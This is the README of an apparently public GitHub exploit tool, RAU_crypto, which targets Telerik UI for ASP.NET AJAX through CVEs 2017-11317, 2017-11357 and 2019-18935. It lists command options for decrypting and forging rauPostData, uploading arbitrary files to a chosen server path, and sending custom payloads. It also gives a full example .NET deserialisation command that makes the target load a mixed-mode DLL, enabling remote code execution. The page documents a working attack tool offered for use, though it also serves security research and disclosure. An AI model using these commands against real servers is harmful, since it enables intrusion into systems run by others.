Skip to content
Telerik UI for ASP.NET AJAX File upload and .NET deserialisation exploit (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Branch: master
Clone or download
Latest commit 4b3a1bd Dec 13, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
LICENSE Initial commit Jan 9, 2018 Update Dec 4, 2019 Update Dec 13, 2019



Combined exploit for Telerik UI for ASP.NET AJAX.

  • File upload for CVE-2017-11317 and CVE-2017-11357 - will automatically upload the file
  • .NET deserialisation for CVE-2019-18935

For exploitation to work, you generally need a version with hard coded keys, or you need to know the key, for example if you can disclose the contents of web.config. The exploit also allows for straightforward decryption and encryption of the rauPostData used with Telerik.Web.UI.WebResource.axd?type=rau


Published on exploit-db (old version)

See also

My other Telerik UI exploit (for CVE-2017-9248) will probably also be of interest. It is available here:

To do

  • Missing HMAC functionality for later versions.
  • Ability to specify custom key.
  • Command line argument for execution of a mixed mode dll (in the meantime use the example .NET deserialisation payload provided below).
  • Separate utility for testing mixed mode dll.
  • Provide source code/compilation instructions for mixed mode dll.
  • Brute force versions.

Note - the last four items are complete but not released.


The file upload (CVE-2017-11317) vulnerability was discovered by others, I believe credits due to @straight_blast @pwntester @olekmirosh . Shortly after it was announced, I encountered the Telerik library during the course of my work, so I researched it and the vulnerability and wrote this exploit in July 2017. I also reported CVE-2017-11357 for the related insecure direct object reference.

The .NET deserialisation (CVE-2019-18935) vulnerability was discovered by @mwulftange.


$ ./ 

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation


Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format:    2016.2.504
Example optional proxy:

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS

Example - decryption

Decrypt screenshot

Example - arbitrary file uplaod

Upload screenshot

Custom payload (.NET deserialisation)

For details on custom payloads for .NET deserialisation, there is a great article by @mwulftange who discovered this vulnerability on the Code White blog at the following link.

Update - There is an alternative exploit by Caleb Gross @noperator, which incorporates features from this exploit, with a great blog article explaining everything. Thanks also to Caleb for contributing to RAU_Crypto.

Other relevant links.

Example .NET deserialisation payload:

$ ./ -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

For mixed Mode DLL, see my other github repo:

Special thanks to @irsdl who inspired the custom payload feature.

You can’t perform that action at this time.